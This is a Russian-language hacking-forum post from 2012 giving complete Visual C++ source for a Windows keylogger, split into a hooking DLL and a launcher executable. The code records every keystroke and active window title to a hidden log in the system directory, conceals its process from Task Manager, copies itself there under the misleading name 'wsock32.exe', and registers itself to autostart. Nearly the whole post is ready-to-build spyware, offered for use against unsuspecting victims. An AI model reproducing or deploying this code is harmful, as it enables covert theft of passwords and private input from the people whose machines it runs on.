1. BanDiTuK12.03.2025 в 21:23от
Загрузка...

Пример создания кейлоггера [Visual C++]

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем LulzGhost, 29.07.2012.

  1. LulzGhost

    LulzGhost

    Статус:
    Оффлайн
    Регистрация:
    03.07.12
    Сообщения:
    88
    Репутация:
    11 +/-
    Сейчас мы будем писать кейлоггер на Visual C++. В данном примере будут использоваться апшные функции, так что, можно переписать на Delphi, если кому-то захочется, то можно и на Асме:). Клавиатурный шпион у нас будет состоять из дополнительной dll и самой программы исполнительного файла(exe).
    И так, вот исходники дополнительной dll ks.dll:
    Код:
    #include «stdafx.h»
    #include «ks.h»
    
    HANDLE hmod;
    HHOOK khook;
    HFILE LogFile;
    char LogFileName[256] = «ks.txt»;//название лог-файла
    char FullLogFile[256] = «»;
    char BufStr0[19] = «»;
    char BufStr1[200] = «»;
    char BufStr2[256] = «»;
    char OldAct[1024] = «»;
    LPSTR ActWin()//поца для определения активного окна
    {
    LPSTR ActW = new TCHAR[1024];
    SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW);
    return ActW;
    };
    BOOL APIENTRY DllMain( HANDLE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
    )
    { //если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его
    GetSystemDirectory(FullLogFile,256);
    strcat(FullLogFile,»\\»);
    strcat(FullLogFile,LogFileName);
    LogFile = _lopen(FullLogFile,OF_WRITE);
    if (LogFile == 4294967295)
    {
    LogFile = _lcreat(FullLogFile,4);
    };
    _lclose(LogFile);
    hmod = hModule;
    return TRUE;
    }
    LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParam, LPARAM lParam)
    {
    if (nCode == HC_ACTION && !(lParam & 0×80000000))
    {
    //если нажата клавиша, то
    GetKeyNameText(lParam,BufStr0,19);
    //если ламак не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk
    char *Active = ActWin();
    if (strcmp(OldAct,Active) !=0)
    {
    strcpy(BufStr1,»\nActive Window(TITLE) «);
    strcat(BufStr1,Active);
    strcat(BufStr1,»\n»);
    //вместе с датой и временем
    char DateStr0[256] = «dd.MM.yyyy»;
    char TimeStr1[256] = «hh : mm : ss»;
    char DateStr1[256] = «»;
    GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
    strcat(BufStr1,»[");
    strcat(BufStr1,DateStr1);
    strcat(BufStr1,"] «);
    GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
    strcat(BufStr1,» «);
    strcat(BufStr1,DateStr1);
    strcat(BufStr1,» \n»);
    strcat(BufStr1,»—————————————————\n»);
    strcpy(OldAct,Active);
    };
    //пишем название нажатой клавиши
    strcpy(BufStr2,» «);
    strcat(BufStr1,BufStr2);
    strcat(BufStr1,BufStr0);
    LogFile = _lopen(FullLogFile,OF_WRITE);
    _llseek(LogFile,0,FILE_END);
    _lwrite(LogFile,BufStr1,lstrlen(BufStr1));
    _lclose(LogFile);
    strcpy(BufStr1,»");
    };
    return CallNextHookEx(khook,nCode,wParam,lParam);
    };
    //процедура для установки хука
    void HksInit()
    {
    khook = SetWindowsHookEx(WH_KEYBOARD,
    HksKeyProc,
    (HINSTANCE)hmod,
    NULL);
    
    };
    //процедура для закрытия хука
    void HksClose()
    {
    UnhookWindowsHookEx(khook);
    };
    Теперь нужно написать ks.h:
    #ifndef KS_H
    #define KS_H
    
    #include
    #include
    
    #ifdef __DLL__
    #define DLL_EI __declspec(dllexport)
    #else
    #define DLL_EI __declspec(dllimport)
    #endif
    //—————————————————————————
    extern «C» {
    LRESULT CALLBACK DLL_EI HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam);
    void DLL_EI HksInit();
    void DLL_EI HksClose();
    };
    //—————————————————————————
    
    #endif
    Теперь создаем еще один проэкт для главного exe-шника. Кидаем в него ks.h и ks.lib (нужно его добавить в библиотеки (Alt+F7)).
    Вот листинг hks.cpp:
    Код:
    #include «stdafx.h»
    #include «ks.h»
    char szClassName[256] = «hKs10″;
    char szAppName[256] = «hKsv10″;
    typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
    //проца для прятания от Ctrl+Alt+Del
    bool RSP(double p1, double p2)
    {
    PREGISTERSERVICEPROCESS rsp;
    HINSTANCE hK32;
    bool Rc=false;
    hK32=GetModuleHandle(«kernel32.dll»);
    if(hK32!=NULL) {
    rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, «RegisterServiceProcess»);
    if(rsp!=NULL) {
    Rc=true;
    rsp(p1,p2);
    }
    FreeLibrary(hK32);
    }
    return Rc;
    }
    
    LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
    int APIENTRY WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow)
    {
    //прячем от 3x клавиш
    if(FindWindow(NULL,szAppName)) PostQuitMessage(1);
    RSP(NULL,1);
    //копируем ex-шник и дополнительную dll в %winsysdir%
    char szValue [256] = «wsock32.exe»;
    HKEY pKey;
    //прописываемся в автостарте
    RegCreateKey(HKEY_LOCAL_MACHINE,»Software\\Microsoft\\Windows\\CurrentVersion\\Run»,&pKey);
    RegSetValueEx(pKey,»wsock32″,NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);
    char WinDir[256] = «»;
    GetSystemDirectory(WinDir,sizeof(WinDir));
    strcat(WinDir,»\\»);
    strcat(WinDir,szValue);
    LPSTR lpFile = new TCHAR[256];
    GetModuleFileName(NULL,lpFile,200);
    
    CopyFile(lpFile,WinDir,FALSE);
    GetSystemDirectory(WinDir,sizeof(WinDir));
    strcat(WinDir,»\\ks.dll»);
    CopyFile(«ks.dll»,WinDir,FALSE);
    //пишем дату записи в файл
    char BufStr1[6666] = «»;
    char DateStr0[256] = «dd.MM.yyyy»;
    char TimeStr1[256] = «hh : mm : ss»;
    char DateStr1[256] = «»;
    GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
    strcpy(BufStr1,»\n—————————————————\n»);
    strcat(BufStr1,» Write to file: [");
    strcat(BufStr1,DateStr1);
    strcat(BufStr1,"] «);
    GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
    strcat(BufStr1,» «);
    strcat(BufStr1,DateStr1);
    strcat(BufStr1,»\n»);
    
    char LogFile[256]= «»;
    GetSystemDirectory(LogFile,256);
    strcat(LogFile,»\\ks.txt»);
    HFILE Log1 = _lopen(LogFile,OF_WRITE);
    _lwrite(Log1,BufStr1,lstrlen(BufStr1));
    _lclose(Log1);
    
    HksInit();
    
    HWND hwnd;
    MSG msg;
    WNDCLASS wc;
    wc.style = 0;
    wc.lpfnWndProc = WndProc;
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.lpszClassName = szClassName;
    wc.lpszMenuName = NULL;
    wc.hInstance = hInstance;
    wc.hCursor = LoadCursor(NULL,IDC_ARROW);
    wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
    wc.hbrBackground = (HBRUSH) COLOR_WINDOW;
    
    RegisterClass(&wc);
    
    hwnd = CreateWindow(szClassName,
    szAppName,
    WS_OVERLAPPEDWINDOW,
    2,
    10,
    70,
    100,
    NULL,
    NULL,
    hInstance,
    NULL);
    
    ShowWindow(hwnd,SW_HIDE);
    UpdateWindow(hwnd);
    //обрабатываем сообщения
    while (GetMessage(&msg,NULL,0,0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
    }
    return 0;
    }
    LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
    {
    switch (iMsg)
    {
    case WM_CREATE:return 1;break;
    case WM_DESTROY:
    HksClose();
    PostQuitMessage(1);
    break;
    };
    
    return DefWindowProc(hwnd,iMsg,wParam,lParam);
    };
    Всё. Теперь это все можно запустить и прога скопирует себя B winsir\sysdir wsock32.exe и доп dll в windir\sysdir ks.dll.
    Статья взята: cyberguru.ru
     
    Последнее редактирование: 29.07.2012